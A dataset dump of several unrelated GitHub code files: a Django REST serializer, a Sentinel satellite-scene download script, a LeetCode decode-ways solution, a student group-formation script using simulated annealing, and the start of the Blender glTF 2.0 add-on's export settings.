CartItemSerializer(items, many=True).data\n\n def update(self, instance, validated_data):\n if validated_data.get('warranty', None):\n instance.description += '\\n\\nWarranty Information:\\n'\n instance.description += b'; '.join(\n validated_data['warranty'].readlines()\n ).decode()\n instance.save()\n return super().update(instance, validated_data)\n # return instance\n\n def create(self, validated_data):\n validated_data.pop('warranty')\n return Product.objects.create(**validated_data)\n\n\nclass ProductStatSerializer(serializers.Serializer):\n stats = serializers.DictField(\n child=serializers.ListField(\n child=serializers.IntegerField(),\n )\n )\n\n\n# D:\\Akshay\\LessonsLearnt\\django-REST-API\\demo>python manage.py shell\n# IPython 7.16.1 -- An enhanced Interactive Python. Type '?' for help.\n#\n# In [1]: from store.models import Product\n#\n# In [2]: from store.serializers import ProductSerializer\n#\n# In [3]: product = Product.objects.all()\n#\n# In [4]: product = Product.objects.all()[0]\n#\n# In [5]: serializer = ProductSerializer(product)\n#\n# In [6]: serializer.data\n# Out[6]: {'id': 1, 'name': 'Mineral Water Strawberry!', 'description':\n# 'Natural-flavored strawberry with an anti-oxidant kick.',\n# 'price': 1.0, 'sale_start': None, 'sa\n# le_end': None, 'is_on_sale': False, 'current_price': 1.0}\n\n# Serializer that shows model relationships using SerializerMethodField()\n# import json\n# from store.models import *\n# from store.serializers import *\n# product = Product.objects.all().first()\n# cart = ShoppingCart()\n# cart.save()\n# item = ShoppingCartItem(shopping_cart=cart, product=product, quantity=5)\n# item.save()\n# serializer = ProductSerializer(product)\n# print(json.dumps(serializer.data, indent=2))\n\n# ---output---\n# {\n# \"id\": 2,\n# \"name\": \"Mineral Water Raspberry\",\n# \"description\": \"Flavoured with raspberry, loaded with anti-oxidants.\",\n# \"price\": 2.0,\n# \"sale_start\": null,\n# \"sale_end\": null,\n# \"is_on_sale\": false,\n# \"current_price\": 2.0,\n# \"cart_items\": [\n# {\n# \"product\": 2,\n# \"quantity\": 5\n# }\n# ]\n# }\n","repo_name":"AkshaySRajguru/django-REST-API","sub_path":"demo/store/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72203218066","text":"import argparse\nimport json\nfrom helpers import download_range\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-s\", \"--start_ix\", type=int)\nparser.add_argument(\"-e\", \"--end_ix\", type=int)\nargs = parser.parse_args()\n\n# download the sentinel scenes\nscenes = json.load(open(\"scenes.json\", \"r\"))\nconstraints = {\"eo:cloud_cover\": {\"lt\": 40}, \"s2:nodata_pixel_percentage\": {\"lt\": 10}}\nchannels = ['B01', 'B02', 'B03', 'B04', 'B05', 'B06', 'B07', 'B08', 'B09', 'B11', 'B12']\ndownload_range(scenes, args.start_ix, args.end_ix, constraints, channels)\n\n# download the corresponding SAR scenes\nconstraints = {}\nchannels = ['vv', 'vh'] # vertical and horizontal polarization\ndownload_range(scenes, args.start_ix, args.end_ix, constraints, channels, \"sentinel-1-rtc\", \"s1\")","repo_name":"krisrs1128/lake_labeller","sub_path":"download/download_scenes.py","file_name":"download_scenes.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"31586890460","text":"#link to problem: https://leetcode.com/problems/decode-ways/\n\n# The idea is similar to word break where you can start from the end and think of each \n# index and the letter after it as a sub problem. The base case is if the current index isn't\n# 0 then its a legal char, which means that are the current + possibilities at its increasing neighbour\n# however if there is a neighbour with a legal char, then you have to add the possibilities at your neighbour's\n# neighbour.\n\ndef numDecodings(s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n cache = {len(s) : 1}\n \n for i in range(len(s) - 1, -1, -1):\n if s[i] == \"0\":\n cache[i] = 0\n else:\n cache[i] = cache[i+1]\n if i + 1 < len(s) and (s[i] == \"1\" or (s[i] == \"2\" and s[i+1] in \"0123456\")):\n cache[i] += cache[i+2]\n \n return cache[0]\n\nprint(numDecodings(\"12\")) #2","repo_name":"GoGitThat/leetcodeProblems","sub_path":"medium/decodeWays.py","file_name":"decodeWays.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71579744465","text":"import numpy as np\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nfrom copy import deepcopy as copy\nimport inputData as inputData\nfrom numpy import random\nfrom collections import Set\nimport sys\nfrom openpyxl import load_workbook\nimport math\n\nsys.setrecursionlimit(80000)\nvariables = []\nvar_dict = dict()\nsize_of_group = 5\nnum_plot = 131\nnum_iterations = 1\nmax_samples = int(3e3) # How many iterations to run the algorithm for (500-5000 works best)\ncostThreshold = 1950 # Experiement with different threshold values depending on weights used\nname_of_excel = \"exampleList\"\ncurrent_directory = os.getcwd()\nexcelOut = os.path.join(current_directory, 'Sorted_Output.xlsx') # Path of the Excel sheet that we're outputting data to\n\n#these can be modified by hand or a program could be written to modify and test for best outcome\nweights = {\n \"gender\" : 7,\n \"residency\" : 5,\n \"ethnicity\" : 6,\n \"major\" : 3,\n \"rural\" : 3,\n \"public\" : 2\n }\n\nclass Person:\n def __init__(self, name):\n self.name = name\n self.gender = \"\"\n self.residency = \"\"\n self.region = \"\"\n self.school = \"\"\n self.ethnicity = \"\"\n self.major = \"\"\n self.availability = \"\"\n self.incompatable = \"\"\n self.public = \"\"\n self.rural = \"\"\n\n self.dict = {\n \"name\" : self.name,\n \"gender\" : self.gender,\n \"residency\" : self.residency,\n \"school\" : self.school,\n \"ethnicity\" : self.ethnicity,\n \"major\" : self.major,\n \"availability\" : self.availability,\n \"incompatable\" : self.incompatable,\n \"public\" : self.public,\n \"rural\" : self.rural,\n \"region\" : self.region\n }\n\n #Turns strings of data into lists and stores in respective field\n def cleanData(self):\n for var in variables:\n try:\n if \",\" in self.dict[var]:\n self.dict[var] = self.dict[var].split(\", \")\n except:\n continue\n\n\n\n def printPerson(self):\n print(f\"Name: {self.name}\", end = \" \")\n for var in variables:\n print(f\"{var}: {self.dict[var]}\", end = \" \")\n print(\"\")\n\nclass Group:\n def __init__(self, people = []):\n self.people = people\n\n self.funcDict = {\n \"gender\" : self.binaryCost,\n \"rural\" : self.binaryCost,\n \"public\" : self.binaryCost,\n \"residency\" : self.diverseCost,\n \"region\" : self.binaryCost,\n \"ethnicity\" : self.diverseCost,\n \"major\" : self.majorCost,\n }\n\n #Prints the cost, ocombining each individual variable's cost\n def groupCost(self):\n cost = 0\n for var in variables:\n try:\n cost += self.funcDict[var](var) * weights[var]\n except:\n continue\n return cost\n\n #We want the largest number of majors present\n def majorCost(self, major):\n dead_science = 0\n life_science = 0\n humanities = 0\n finance = 0\n social_science = 0\n cost = 5\n for person in self.people:\n for i in range(1):\n major = person.dict[\"major\"]\n if(\"Computer Science\" or \"Mathematics\" or \"Physics\" or \"Statistics\" or \"Chemistry\" in major):\n dead_science += 1\n elif(\"Biology\" or \"Neuroscience\" or \"Nutrition\" or \"Medical Anthropology\" or \"Environmental Health Sciences\" or \"Biomedical Engineering\" in major):\n life_science += 1\n elif(\"Undecided\" or \"Philosophy\" or \"Journalism\" or \"Communication\" or \"Spanish Literature and Cultures\" or \"History\" in major):\n humanities += 1\n elif(\"Business\" or \"Economics\" in major):\n finance += 1\n elif(\"PWAD\" or \"Public Policy\" or \"Political Science\" or \"Pscyhology\" or \"Cognitive Science\" or \"Health Policy and Management\" or \"Human Development and Family Studies\" or \"Global Studies\" in major):\n social_science += 1\n else:\n print(\"YOU FORGOT A MAJOR!\")\n if(dead_science > 0):\n cost -- 1\n if(life_science > 0):\n cost -- 1\n if(humanities > 0):\n cost -- 1\n if(finance > 0):\n cost -- 1\n if(social_science > 0):\n cost -- 1\n return cost\n\n def diverseCost(self, variable):\n diverse = set()\n for person in self.people:\n try:\n diverse.add(person.dict[variable])\n except:\n for i in person.dict[variable]:\n diverse.add(i)\n if len(diverse) == 1: # Heavily weight against having all the same ethnicity (which happens a lot)\n return 10\n\n return size_of_group - len(diverse)\n\n def binaryCost(self, attribute):\n attr_one = \"\"\n num_attr_one = 0\n num_attr_two = 0\n\n for person in self.people:\n if attr_one == \"\":\n attr_one = person.dict[attribute]\n num_attr_one += 1\n elif person.dict[attribute] == attr_one:\n num_attr_one += 1\n else:\n num_attr_two += 1\n\n else: # Otherwise optimize for simple heterogeneity\n # Since groups are of five people, accept an imbalance if there's a discrepancy of 1\n if abs(num_attr_one - num_attr_two) <= 1:\n return 0\n else:\n return abs(num_attr_one - num_attr_two)\n\n #Returns true if there are no two scholars from the same school\n def isValidGroup(self):\n # Store all the schools and regions present in the group\n for var in variables:\n if var == \"incompatable\":\n if not self.checkCompatability():\n #print(\"not compatable\")\n return False\n if var == \"school\":\n if not self.checkSchool():\n #print(\"same school\")\n return False\n if var == \"availability\":\n if not self.checkAvailability():\n #print(\"no availability\")\n return False\n\n return True\n\n def checkCompatability(self):\n for student in self.people:\n for incompatable in student.incompatable:\n for checkStudent in self.people:\n if(incompatable == checkStudent):\n return False\n return True\n\n def checkSchool(self):\n schoolSet = set([])\n for i in range(len(self.people)):\n schoolSet.add(self.people[i].school) # Always add the school\n\n # If there are any overlaps, then the length of each set will have decreased\n if len(schoolSet) < len(self.people): # or len(regionSet) < in_states:\n return False\n return True\n\n def checkAvailability(self):\n num_availability = len(self.people[0].dict[\"availability\"])\n combined_availability = [0 for i in range(size_of_group)]\n\n for person in self.people:\n for i in range(4):\n if person.dict[\"availability\"][i] == \"T\":\n combined_availability[i] += 1\n cost = 4\n for i in range(size_of_group):\n if combined_availability[i] >= size_of_group:\n cost -- 1\n return cost\n\n def countEverything(self):\n males = 0\n females = 0\n in_states = 0\n out_of_states = 0\n rurals = 0\n not_rurals = 0\n publics = 0\n privates = 0\n ethnicities = set([])\n regions = set([])\n for person in self.people:\n ethnicities.add(person.ethnicity)\n regions.add(person.region)\n if person.gender == \"True\":\n males += 1\n else:\n females += 1\n if person.in_state == \"True\":\n in_states += 1\n else:\n out_of_states += 1\n if person.rural == \"True\":\n rurals += 1\n else:\n not_rurals += 1\n if person.public == \"True\":\n publics += 1\n else:\n privates += 1\n\n print(str(males) + \" males, \" + str(females) + \" females\")\n print(str(in_states) + \" in-states, \" + str(out_of_states) + \" out-of-states\")\n print(str(rurals) + \" rurals, \" + str(not_rurals) + \" not-rurals\")\n print(str(publics) + \" publics, \" + str(privates) + \" privates \")\n print(str(len(ethnicities)) + \" different ethnicities\")\n print(str(len(regions)) + \" different regions\")\n\n def printGroup(self):\n print(\"GROUP COSTS:\")\n for person in self.people:\n person.printPerson()\n for var in variables:\n try:\n print(f\"{var} cost: {self.funcDict[var]}\")\n except:\n continue\n print(f\"Total Cost: {self.groupCost()}\")\n print(\"\")\n\ndef makeStartingGroups():\n\n data = pd.read_excel(dataPath)\n people = []\n groups = []\n\n #This loop creates all the people from the excel\n for index, row in data.iterrows():\n person = Person(row[var_dict[\"name\"]])\n for var in variables:\n person.dict[var] = row[var_dict[var]]\n person.cleanData()\n people.append(person)\n all_indeces = np.arange(0, len(people), 1)\n print(len(all_indeces))\n\n #This loop creates groups one at a time\n currentGroupMembers = []\n currentIdxs = []\n for counter in range(len(all_indeces)):\n idx = random.choice(all_indeces) # Select a random person index\n all_indeces = all_indeces[all_indeces != idx]\n people[idx].printPerson()\n currentGroupMembers.append(people[idx])\n currentIdxs.append(idx)\n if len(currentGroupMembers) == size_of_group: # Once the group is full, register it and repeat\n newGroup = Group(currentGroupMembers)\n if newGroup.isValidGroup():\n print(\"Valid Group Made!\")\n groups.append(newGroup)\n #all_indeces = all_indeces[all_indeces != any(currentIdxs)] # Remove the current selection from the possibilities\n currentIdxs = []\n currentGroupMembers = []\n else:\n print(\"inValidGroup\")\n counter -= size_of_group\n currentGroupMembers = []\n currentIdxs = []\n all_indeces = np.concatenate(all_indeces, currentIdxs)\n\n\n return groups\n\n print(\"No valid set of groups could be made\")\n\n\n# In[1]:\n\n\n# Gets the total cost for a list of groups\ndef totalCost(groups):\n sum = 0\n for group in groups:\n sum += group.groupCost()\n return sum\n\n\n# Use a simmulated annealing algorithm to optimize the group placement\ndef sort(groups, max_samples):\n print('Running Simmulated Annealing Algorithm')\n cost_history = np.zeros(max_samples) # Store the total cost at each time step to see if this actually works\n sample_num = 0\n min_cost = np.inf # Anything will be better than this starting cost\n best_group = None\n best_iteration = 0\n\n # Variable that decreases over the duration that corresponds to jump probability\n temp = 5 # Experiment with different starting temperature values\n dT = temp / max_samples # Amount by which the temperature decreases at each step (linearly)\n\n while sample_num < max_samples:\n currentCost = totalCost(groups)\n cost_history[sample_num] = currentCost\n if currentCost < min_cost: # See if this is the best group ever and save if so\n bestGroup = copy(groups)\n min_cost = currentCost\n best_iteration = sample_num\n\n testGroups = makeSwap(groups)\n nextCost = totalCost(testGroups)\n\n if nextCost <= currentCost: # If the cost decreases, it's guaranteed to be a good move!\n groups = testGroups\n\n else: # If the cost increases, accept the change with a random probability\n u = random.uniform(0, 1) # Get a random variable from a uniform distribution\n # # We only end up here if nextCost > currentCost, so the exponentiated term is always negative\n # # High acceptance when temperature is HIGH or when the next cost is only slightly worse\n acceptance = np.exp((currentCost - nextCost) / temp) # High if the cost decreases or temperature is low\n if acceptance >= u: # Accept if it's above the random threshold\n groups = testGroups\n sample_num += 1\n temp -= dT # Decrease the temperature\n\n print('The Best Group Was Found At Iteration {} with Cost {}'.format(best_iteration, min_cost))\n return bestGroup, cost_history\n\ndef append_df_to_excel(filename, df, sheet_name='Sheet1', startrow=None,\n truncate_sheet=False, header=True,\n **to_excel_kwargs):\n \"\"\"\n Append a DataFrame [df] to existing Excel file [filename]\n into [sheet_name] Sheet.\n If [filename doesn't exist, then this function will create it.\n\n Parameters:\n filename : File path or existing ExcelWriter\n (Example: '/path/to/file.xlsx')\n df : dataframe to save to workbook\n sheet_name : Name of sheet which will contain DataFrame.\n (default: 'Sheet1')\n startrow : upper left cell row to dump data frame.\n Per default (startrow=None) calculate the last row\n in the existing DF and write to the next row...\n truncate_sheet : truncate (remove and recreate) [sheet_name]\n before writing DataFrame to Excel file\n to_excel_kwargs : arguments which will be passed to `DataFrame.to_excel()`\n [can be dictionary]\n\n Returns: None\n \"\"\"\n # ignore [engine] parameter if it was passed\n if 'engine' in to_excel_kwargs:\n to_excel_kwargs.pop('engine')\n\n writer = pd.ExcelWriter(filename, engine='openpyxl')\n\n # Python 2.x: define [FileNotFoundError] exception if it doesn't exist\n try:\n FileNotFoundError\n except NameError:\n FileNotFoundError = IOError\n\n\n try:\n # try to open an existing workbook\n writer.book = load_workbook(filename)\n\n # get the last row in the existing Excel sheet\n # if it was not specified explicitly\n if startrow is None and sheet_name in writer.book.sheetnames:\n startrow = writer.book[sheet_name].max_row\n\n # truncate sheet\n if truncate_sheet and sheet_name in writer.book.sheetnames:\n # index of [sheet_name] sheet\n idx = writer.book.sheetnames.index(sheet_name)\n # remove [sheet_name]\n writer.book.remove(writer.book.worksheets[idx])\n # create an empty sheet [sheet_name] using old index\n writer.book.create_sheet(sheet_name, idx)\n\n # copy existing sheets\n writer.sheets = {ws.title:ws for ws in writer.book.worksheets}\n except FileNotFoundError:\n # file does not exist yet, we will create it\n pass\n if startrow is None:\n startrow = 0\n\n # write out the new sheet\n df.to_excel(writer, sheet_name, header=header, startrow=startrow, **to_excel_kwargs, index=False)\n\n # save the workbook\n writer.save()\n\n\n# In[ ]:\n\n\ndef exportGroups(final_groups, excelOut):\n print(\"EXCEL OUTTED\")\n # Once we decide on a good final group, export it to a spreadsheet\n for i, group in enumerate(final_groups, 1):\n sheet_name = 'Group {}'.format(i)\n rows = []\n\n for person in group.people:\n costRow = [\"Cost\"]\n properties = [person.dict[\"name\"]]\n for var in variables:\n properties.append(person.dict[var])\n try:\n costRow.append(group.funcDict[var](var))\n except:\n continue\n\n rows.append(properties)\n\n originalColumns = copy(columns)\n originalRows = copy(rows) # Rows without the group number attached (for use in the group-specific sheet)\n for row in rows:\n row.append(i)\n newColumns = np.append(columns, \"Group #\")\n totalDF = pd.DataFrame(data=rows, columns=newColumns)\n\n append_df_to_excel(excelOut, totalDF, header=(i==1), sheet_name='All Scholars')\n\n #costRow.append(group.groupCost())\n originalRows.append(costRow)\n groupDF = pd.DataFrame(data=originalRows, columns=originalColumns)\n append_df_to_excel(excelOut, groupDF, sheet_name='Group {}'.format(i))\n\n# Swaps two random people in random groups\ndef makeSwap(input_groups):\n #print(\"CALLED MAKE SWAP\")\n #print(f\"Beginning cost: {totalCost(input_groups)}\")\n groups = copy(input_groups) #\n rankedGroups = sorted(groups, key=lambda group: group.groupCost(), reverse=True)\n worstGroup = rankedGroups[int(np.random.normal(loc=1, scale=1))]\n # Pick the second group randomly\n group2 = rankedGroups[random.randint(1, len(groups))]\n\n # Use copies to avoid accidentally overwriting\n def randomSwap(worstGroup, group2):\n person1_idx = np.random.randint(0, len(worstGroup.people))\n person2_idx = np.random.randint(0, len(group2.people))\n person1 = copy(worstGroup.people[person1_idx])\n person2 = copy(group2.people[person2_idx])\n\n # Make the swap\n worstGroup.people[person1_idx] = person2\n group2.people[person2_idx] = person1\n\n # Only allow the swap if both resulting groups are still valid (no overlapping schools)\n if (not worstGroup.isValidGroup() or not group2.isValidGroup()):\n worstGroup.people[person1_idx] = person1 # Undo the change and repeat\n group2.people[person2_idx] = person2\n randomSwap(worstGroup, group2) # If not valid, just repeat and hope for different random indeces\n\n randomSwap(worstGroup, group2)\n\n return rankedGroups\n\ndef plotGroup(input_groups):\n groups = copy(input_groups)\n global num_plot\n names = []\n for i in range(len(groups)):\n names.append(f\"Group {i}\")\n values = [group.groupCost() for group in groups]\n\n average = np.average(values)\n\n plt.subplot(num_plot)\n num_plot += 1\n plt.bar(names, values)\n plt.xticks([])\n plt.axhline(y=average,linewidth=1, color='k')\n\ndef run():\n global num_plot\n plt.figure()\n # Make sure we're using a new Excel output\n try:\n os.remove(excelOut)\n except FileNotFoundError:\n pass\n\n max_samples = int(3e3) # How many iterations to run the algorithm for (500-5000 works best)\n costThreshold = 1950 # Experiement with different threshold values depending on weights used\n\n\n start_groups = makeStartingGroups() # Start with a totally randomized grouping\n plotGroup(start_groups)\n initialCost = int(totalCost(start_groups))\n print(f\"Final cost: {initialCost}\")\n\n plt.subplot(num_plot)\n num_plot += 1\n\n final_groups, final_history = sort(start_groups, 1000)\n for i in range(num_iterations):\n temp_groups, temp_history = sort(start_groups, 1000)\n plt.plot(temp_history)\n if totalCost(temp_groups) < totalCost(final_groups):\n final_groups = temp_groups\n #final_history = temp_history\n plt.xlabel('Sample Number')\n plt.ylabel('Total Cost Function')\n plt.title('Simmulated Annealing Cost Optimization')\n plotGroup(final_groups)\n finalCost = int(totalCost(final_groups))\n print(f\"Final cost: {finalCost}\")\n exportGroups(final_groups, excelOut)\n return final_groups\n\n\n\n\n\n\n\n# Make sure we're using a new Excel output\ntry:\n os.remove(excelOut)\nexcept FileNotFoundError:\n pass\n\nname_of_excel, size_of_group, max_samples, num_iterations = inputData.askForInput(name_of_excel, size_of_group, max_samples, num_iterations)\nprint(name_of_excel, size_of_group, max_samples, num_iterations)\ndataPath = os.path.join(current_directory, f\"{name_of_excel}.xlsx\") #default path\n\ndata = pd.read_excel(dataPath)\n\ncolumns = data.columns.ravel()\n\nprint(f\"{variables}\")\nfor var in columns:\n print(var)\n if any(word in var for word in [\"number\", \"name\", \"Name\", \"Number\"]):\n var_dict[\"name\"] = var\n if any(word in var for word in [\"gender\", \"Gender\", \"sex\", \"Sex\"]):\n var_dict[\"gender\"] = var\n variables.append(\"gender\")\n if any(word in var for word in [\"ethnicity\", \"Ethnicity\", \"race\", \"Race\"]):\n variables.append(\"ethnicity\")\n var_dict[\"ethnicity\"] = var\n if any(word in var for word in [\"residency\", \"Residency\"]):\n variables.append(\"residency\")\n var_dict[\"residency\"] = var\n if any(word in var for word in [\"region\", \"Region\"]):\n variables.append(\"region\")\n var_dict[\"region\"] = var\n if any(word in var for word in [\"major\", \"Major\"]):\n variables.append(\"major\")\n var_dict[\"major\"] = var\n if any(word in var for word in [\"rural\", \"Rural\", \"urban\", \"Urban\"]):\n variables.append(\"rural\")\n var_dict[\"rural\"] = var\n if any(word in var for word in [\"public\", \"Public\"]):\n variables.append(\"public\")\n var_dict[\"public\"] = var\n if any(word in var for word in [\"Roommate\", \"roommate\", \"incompatable\", \"Incompatable\"]):\n variables.append(\"incompatable\")\n var_dict[\"incompatable\"] = var\n if any(word in var for word in [\"school\", \"School\", \"high school\", \"High School\"]):\n variables.append(\"school\")\n var_dict[\"school\"] = var\n if any(word in var for word in [\"Available\", \"available\", \"availability\", \"Availability\"]):\n variables.append(\"availability\")\n var_dict[\"availability\"] = var\n\nrun()\n\nplt.show()\n","repo_name":"chardorn/Group_Formation","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":22029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16510403407","text":"bl_info = {\n 'name': 'glTF 2.0 format',\n 'author': 'Julien Duroure, Scurest, Norbert Nopper, Urs Hanselmann, Moritz Becher, Benjamin Schmithüsen, Jim Eckerlein, and many external contributors',\n \"version\": (4, 1, 21),\n 'blender': (4, 1, 0),\n 'location': 'File > Import-Export',\n 'description': 'Import-Export as glTF 2.0',\n 'warning': '',\n 'doc_url': \"{BLENDER_MANUAL_URL}/addons/import_export/scene_gltf2.html\",\n 'tracker_url': \"https://github.com/KhronosGroup/glTF-Blender-IO/issues/\",\n 'support': 'OFFICIAL',\n 'category': 'Import-Export',\n}\n\ndef get_version_string():\n return str(bl_info['version'][0]) + '.' + str(bl_info['version'][1]) + '.' + str(bl_info['version'][2])\n\n#\n# Script reloading (if the user calls 'Reload Scripts' from Blender)\n#\n\ndef reload_package(module_dict_main):\n import importlib\n from pathlib import Path\n\n def reload_package_recursive(current_dir, module_dict):\n for path in current_dir.iterdir():\n if \"__init__\" in str(path) or path.stem not in module_dict:\n continue\n\n if path.is_file() and path.suffix == \".py\":\n importlib.reload(module_dict[path.stem])\n elif path.is_dir():\n reload_package_recursive(path, module_dict[path.stem].__dict__)\n\n reload_package_recursive(Path(__file__).parent, module_dict_main)\n\n\nif \"bpy\" in locals():\n reload_package(locals())\n\nimport bpy\nfrom bpy.props import (StringProperty,\n BoolProperty,\n EnumProperty,\n IntProperty,\n CollectionProperty)\nfrom bpy.types import Operator\nfrom bpy_extras.io_utils import ImportHelper, ExportHelper\n\n\n#\n# Functions / Classes.\n#\n\nexporter_extension_panel_unregister_functors = []\nimporter_extension_panel_unregister_functors = []\n\n\ndef ensure_filepath_matches_export_format(filepath, export_format):\n import os\n filename = os.path.basename(filepath)\n if not filename:\n return filepath\n\n stem, ext = os.path.splitext(filename)\n if stem.startswith('.') and not ext:\n stem, ext = '', stem\n\n desired_ext = '.glb' if export_format == 'GLB' else '.gltf'\n ext_lower = ext.lower()\n if ext_lower not in ['.glb', '.gltf']:\n return filepath + desired_ext\n elif ext_lower != desired_ext:\n filepath = filepath[:-len(ext)] # strip off ext\n return filepath + desired_ext\n else:\n return filepath\n\n\ndef on_export_format_changed(self, context):\n # Update the filename in the file browser when the format (.glb/.gltf)\n # changes\n sfile = context.space_data\n if not isinstance(sfile, bpy.types.SpaceFileBrowser):\n return\n if not sfile.active_operator:\n return\n if sfile.active_operator.bl_idname != \"EXPORT_SCENE_OT_gltf\":\n return\n\n sfile.params.filename = ensure_filepath_matches_export_format(\n sfile.params.filename,\n self.export_format,\n )\n\n # Also change the filter\n sfile.params.filter_glob = '*.glb' if self.export_format == 'GLB' else '*.gltf'\n # Force update of file list, because update the filter does not update the real file list\n bpy.ops.file.refresh()\n\n\nclass ConvertGLTF2_Base:\n \"\"\"Base class containing options that should be exposed during both import and export.\"\"\"\n\n export_import_convert_lighting_mode: EnumProperty(\n name='Lighting Mode',\n items=(\n ('SPEC', 'Standard', 'Physically-based glTF lighting units (cd, lx, nt)'),\n ('COMPAT', 'Unitless', 'Non-physical, unitless lighting. Useful when exposure controls are not available'),\n ('RAW', 'Raw (Deprecated)', 'Blender lighting strengths with no conversion'),\n ),\n description='Optional backwards compatibility for non-standard render engines. Applies to lights',# TODO: and emissive materials',\n default='SPEC'\n )\n\nclass ExportGLTF2_Base(ConvertGLTF2_Base):\n # TODO: refactor to avoid boilerplate\n\n def __init__(self):\n from .io.com import gltf2_io_draco_compression_extension\n self.is_draco_available = gltf2_io_draco_compression_extension.dll_exists()\n\n bl_options = {'PRESET'}\n\n # Don't use export_ prefix here, I don't want it to be saved with other export settings\n gltf_export_id: StringProperty(\n name='Identifier',\n description=(\n 'Identifier of caller (in case of add-on calling this exporter). '\n 'Can be useful in case of Extension added by other add-ons'\n ),\n default=''\n )\n\n export_format: EnumProperty(\n name='Format',\n items=(('GLB', 'glTF Binary (.glb)',\n 'Exports a single file, with all data packed in binary form. '\n 'Most efficient and portable, but more difficult to edit later'),\n ('GLTF_SEPARATE', 'glTF Separate (.gltf + .bin + textures)',\n 'Exports multiple files, with separate JSON, binary and texture data. '\n 'Easiest to edit later')),\n description=(\n 'Output format. Binary is most efficient, '\n 'but JSON may be easier to edit later'\n ),\n default='GLB', #Warning => If you change the default, need to change the default filter too\n update=on_export_format_changed,\n )\n\n ui_tab: EnumProperty(\n items=(('GENERAL', \"General\", \"General settings\"),\n ('MESHES', \"Meshes\", \"Mesh settings\"),\n ('OBJECTS', \"Objects\", \"Object settings\"),\n ('ANIMATION', \"Animation\", \"Animation settings\")),\n name=\"ui_tab\",\n description=\"Export setting categories\",\n )\n\n export_copyright: StringProperty(\n name='Copyright',\n description='Legal rights and conditions for the model',\n default=''\n )\n\n export_image_format: EnumProperty(\n name='Images',\n items=(('AUTO', 'Automatic',\n 'Save PNGs as PNGs, JPEGs as JPEGs, WebPs as WebPs. '\n 'For other formats, use PNG'),\n ('JPEG', 'JPEG Format (.jpg)',\n 'Save images as JPEGs. (Images that need alpha are saved as PNGs though.) '\n 'Be aware of a possible loss in quality'),\n ('WEBP', 'WebP Format',\n 'Save images as WebPs as main image (no fallback)'),\n ('NONE', 'None',\n 'Don\\'t export images'),\n ),\n description=(\n 'Output format for images. PNG is lossless and generally preferred, but JPEG might be preferable for web '\n 'applications due to the smaller file size. Alternatively they can be omitted if they are not needed'\n ),\n default='AUTO'\n )\n\n export_image_add_webp: BoolProperty(\n name='Create WebP',\n description=(\n \"Creates WebP textures for every texture. \"\n \"For already WebP textures, nothing happens\"\n ),\n default=False\n )\n\n export_image_webp_fallback: BoolProperty(\n name='WebP fallback',\n description=(\n \"For all WebP textures, create a PNG fallback texture\"\n ),\n default=False\n )\n\n export_texture_dir: StringProperty(\n name='Textures',\n description='Folder to place texture files in. Relative to the .gltf file',\n default='',\n )\n\n # Keep for back compatibility\n export_jpeg_quality: IntProperty(\n name='JPEG quality',\n description='Quality of JPEG export',\n default=75,\n min=0,\n max=100\n )\n\n # Keep for back compatibility\n export_image_quality: IntProperty(\n name='Image quality',\n description='Quality of image export',\n default=75,\n min=0,\n max=100\n )\n\n export_keep_originals: BoolProperty(\n name='Keep original',\n description=('Keep original textures files if possible. '\n 'WARNING: if you use more than one texture, '\n 'where pbr standard requires only one, only one texture will be used. '\n 'This can lead to unexpected results'\n ),\n default=False,\n )\n\n export_texcoords: BoolProperty(\n name='UVs',\n description='Export UVs (texture coordinates) with meshes',\n default=True\n )\n\n export_normals: BoolProperty(\n name='Normals',\n description='Export vertex normals with meshes',\n default=True\n )\n\n export_draco_mesh_compression_enable: BoolProperty(\n name='Draco mesh compression',\n description='Compress mesh using Draco',\n default=False\n )\n\n export_draco_mesh_compression_level: IntProperty(\n name='Compression level',\n description='Compression level (0 = most speed, 6 = most compression, higher values currently not supported)',\n default=6,\n min=0,\n max=10\n )\n\n export_draco_position_quantization: IntProperty(\n name='Position quantization bits',\n description='Quantization bits for position values (0 = no quantization)',\n default=14,\n min=0,\n max=30\n )\n\n export_draco_normal_quantization: IntProperty(\n name='Normal quantization bits',\n description='Quantization bits for normal values (0 = no quantization)',\n default=10,\n min=0,\n max=30\n )\n\n export_draco_texcoord_quantization: IntProperty(\n name='Texcoord quantization bits',\n description='Quantization bits for texture coordinate values (0 = no quantization)',\n default=12,\n min=0,\n max=30\n )\n\n export_draco_color_quantization: IntProperty(\n name='Color quantization bits',\n description='Quantization bits for color values (0 = no quantization)',\n default=10,\n min=0,\n max=30\n )\n\n export_draco_generic_quantization: IntProperty(\n name='Generic quantization bits',\n description='Quantization bits for generic values like weights or joints (0 = no quantization)',\n default=12,\n min=0,\n max=30\n )\n\n export_tangents: BoolProperty(\n name='Tangents',\n description='Export vertex tangents with meshes',\n default=False\n )\n\n export_materials: EnumProperty(\n name='Materials',\n items=(('EXPORT', 'Export',\n 'Export all materials used by included objects'),\n ('PLACEHOLDER', 'Placeholder',\n 'Do not export materials, but write multiple primitive groups per mesh, keeping material slot information'),\n ('NONE', 'No export',\n 'Do not export materials, and combine mesh primitive groups, losing material slot information')),\n description='Export materials',\n default='EXPORT'\n )\n\n export_colors: BoolProperty(\n name='dummy',\n description='Keep for compatibility only',\n default=True\n )\n\n export_attributes: BoolProperty(\n name='Attributes',\n description='Export Attributes (when starting with underscore)',\n default=False\n )\n\n use_mesh_edges: BoolProperty(\n name='Loose Edges',\n description=(\n 'Export loose edges as lines, using the material from the first material slot'\n ),\n default=False,\n )\n\n use_mesh_vertices: BoolProperty(\n name='Loose Points',\n description=(\n 'Export loose points as glTF points, using the material from the first material slot'\n ),\n default=False,\n )\n\n export_cameras: BoolProperty(\n name='Cameras',\n description='Export cameras',\n default=False\n )\n\n use_selection: BoolProperty(\n name='Selected Objects',\n description='Export selected objects only',\n default=False\n )\n\n 